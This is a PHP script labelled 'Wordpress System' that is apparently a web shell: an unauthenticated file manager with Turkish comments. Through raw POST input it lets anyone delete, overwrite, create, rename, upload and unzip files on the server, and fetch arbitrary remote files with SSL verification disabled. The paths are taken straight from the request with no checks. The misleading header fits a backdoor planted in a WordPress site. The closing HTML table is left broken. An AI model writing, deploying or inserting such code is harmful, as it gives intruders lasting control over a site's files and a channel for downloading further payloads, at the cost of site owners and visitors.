/*
* Wordpress System
* @author Store
* @date 2024/04/01
*/
class FileManager {
private $baseDir;
public function __construct($dir = "./") {
$this->baseDir = realpath($dir) . DIRECTORY_SEPARATOR;
}
public function deleteFile($filename, $currentDir = '') {
$filePath = $this->baseDir . $currentDir . DIRECTORY_SEPARATOR . $filename;
if (!file_exists($filePath)) return 'File does not exist';
if (is_dir($filePath)) return $this->deleteDirectory($filename, $currentDir); // Klasör silme işlemi
return unlink($filePath) ? 'File deleted successfully' : 'Error deleting file';
}
public function saveFile($filename, $content, $currentDir = '') {
$filePath = $this->baseDir . $currentDir . DIRECTORY_SEPARATOR . $filename;
return file_put_contents($filePath, $content) !== false ? 'File saved successfully' : 'Error saving file';
}
public function createFile($filename, $content, $currentDir = '') {
$filePath = $this->baseDir . $currentDir . DIRECTORY_SEPARATOR . $filename;
if (file_exists($filePath)) return 'File already exists';
return file_put_contents($filePath, $content) !== false ? 'File created successfully' : 'Error creating file';
}
public function renameFile($oldName, $newName, $currentDir = '') {
$oldPath = $this->baseDir . $currentDir . DIRECTORY_SEPARATOR . $oldName;
$newPath = $this->baseDir . $currentDir . DIRECTORY_SEPARATOR . $newName;
return rename($oldPath, $newPath) ? 'File renamed successfully' : 'Error renaming file';
}
public function createDirectory($dirName, $currentDir = '') {
$dirPath = $this->baseDir . $currentDir . DIRECTORY_SEPARATOR . $dirName;
if (!file_exists($dirPath)) {
return mkdir($dirPath, 0777, true) ? 'Directory created successfully' : 'Error creating directory';
}
return 'Directory already exists';
}
public function deleteDirectory($dirName, $currentDir = '') {
$dirPath = $this->baseDir . $currentDir . DIRECTORY_SEPARATOR . $dirName;
if (!is_dir($dirPath)) return 'Directory does not exist';
$files = array_diff(scandir($dirPath), array('.', '..'));
foreach ($files as $file) {
$filePath = $dirPath . DIRECTORY_SEPARATOR . $file;
is_dir($filePath) ? $this->deleteDirectory($file, $currentDir . DIRECTORY_SEPARATOR . $dirName) : unlink($filePath);
}
return rmdir($dirPath) ? 'Directory deleted successfully' : 'Error deleting directory';
}
public function listContents($dir = '') {
$dirPath = $this->baseDir . $dir;
if (!is_dir($dirPath)) return false;
$files = scandir($dirPath);
$contents = array_diff($files, array('.', '..'));
// Klasörleri, PHP dosyalarını ve diğer dosyaları ayır
$folders = [];
$phpFiles = [];
$otherFiles = [];
foreach ($contents as $item) {
$filePath = $dirPath . DIRECTORY_SEPARATOR . $item;
if (is_dir($filePath)) {
$folders[] = $item;
} elseif (pathinfo($filePath, PATHINFO_EXTENSION) === 'php') {
$phpFiles[] = $item;
} else {
$otherFiles[] = $item;
}
}
// Sıralama: Önce klasörler, sonra PHP dosyaları, en son diğer dosyalar
$sortedContents = array_merge($folders, $phpFiles, $otherFiles);
// Üst dizine çıkmak için '..' ekleyelim
if ($dir !== '') {
array_unshift($sortedContents, '..');
}
return $sortedContents;
}
public function getFileInfo($filename, $currentDir = '') {
$filePath = $this->baseDir . $currentDir . DIRECTORY_SEPARATOR . $filename;
if (!file_exists($filePath)) return false;
return [
'name' => basename($filename),
'size' => $this->formatSize(filesize($filePath)),
'modified' => date("Y-m-d H:i:s", filemtime($filePath)),
'is_dir' => is_dir($filePath),
'is_zip' => pathinfo($filePath, PATHINFO_EXTENSION) === 'zip'
];
}
public function uploadFile($file, $currentDir = '') {
$targetPath = $this->baseDir . $currentDir . DIRECTORY_SEPARATOR . basename($file['name']);
if (file_exists($targetPath)) return 'File already exists';
return move_uploaded_file($file['tmp_name'], $targetPath) ? 'File uploaded successfully to ' . $targetPath : 'Error uploading file';
}
public function getFileContent($filename, $currentDir = '') {
$filePath = $this->baseDir . $currentDir . DIRECTORY_SEPARATOR . $filename;
if (!file_exists($filePath) || is_dir($filePath)) return false;
return file_get_contents($filePath);
}
public function remoteUpload($url, $currentDir = '') {
$fileName = basename($url);
$filePath = $this->baseDir . $currentDir . DIRECTORY_SEPARATOR . $fileName;
if (file_exists($filePath)) return 'File already exists';
// cURL kullanarak dosyayı indir
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); // Yönlendirmeleri takip et
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // SSL sertifikasını doğrulama
$fileContent = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($httpCode !== 200 || $fileContent === false) return 'Failed to download file';
return file_put_contents($filePath, $fileContent) !== false ? 'File downloaded successfully to ' . $filePath : 'Error saving remote file';
}
public function unzipFile($zipFile, $extractTo = null, $currentDir = '') {
$zipFilePath = $this->baseDir . $currentDir . DIRECTORY_SEPARATOR . $zipFile;
if (!file_exists($zipFilePath)) return 'File does not exist';
$extractPath = $extractTo ? $this->baseDir . $currentDir . DIRECTORY_SEPARATOR . $extractTo : $this->baseDir . $currentDir;
$zip = new ZipArchive;
if ($zip->open($zipFilePath) === true) {
$zip->extractTo($extractPath);
$zip->close();
return 'File extracted successfully to ' . $extractPath;
} else {
return 'Failed to extract file';
}
}
private function formatSize($size) {
return round($size / 1024, 2) . ' KB';
}
}
$fileManager = new FileManager();
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$action = $_POST['action'] ?? '';
$response = '';
switch ($action) {
case 'delete':
$response = $fileManager->deleteFile($_POST['filename'], $_POST['currentDir']);
break;
case 'save':
$response = $fileManager->saveFile($_POST['filename'], $_POST['content'], $_POST['currentDir']);
break;
case 'create':
$response = $fileManager->createFile($_POST['filename'], $_POST['content'], $_POST['currentDir']);
break;
case 'rename':
$response = $fileManager->renameFile($_POST['oldName'], $_POST['newName'], $_POST['currentDir']);
break;
case 'createDir':
$response = $fileManager->createDirectory($_POST['dirName'], $_POST['currentDir']);
break;
case 'deleteDir':
$response = $fileManager->deleteDirectory($_POST['dirName'], $_POST['currentDir']);
break;
case 'upload':
$currentDir = $_POST['currentDir'] ?? '';
$response = $fileManager->uploadFile($_FILES['file'], $currentDir);
break;
case 'remoteUpload':
$currentDir = $_POST['currentDir'] ?? '';
$response = $fileManager->remoteUpload($_POST['remoteUrl'], $currentDir);
break;
case 'unzip':
$response = $fileManager->unzipFile($_POST['zipFile'], $_POST['extractTo'], $_POST['currentDir']);
break;
case 'getContent':
$response = $fileManager->getFileContent($_POST['filename'], $_POST['currentDir']);
echo $response;
exit;
}
echo $response;
exit;
}
// Mevcut dizini al
$currentDir = isset($_GET['dir']) ? rtrim($_GET['dir'], '/\\') : '';
?>
Advanced File Manager
Files and Directories
| Name | Size | Last Modified | Actions |
|---|---|---|---|
| {$info['name']} | {$info['size']} | {$info['modified']} | " . (!$info['is_dir'] ? "" : "") . " " . ($info['is_zip'] ? "" : "") . " |
| No files or directories found. | |||












































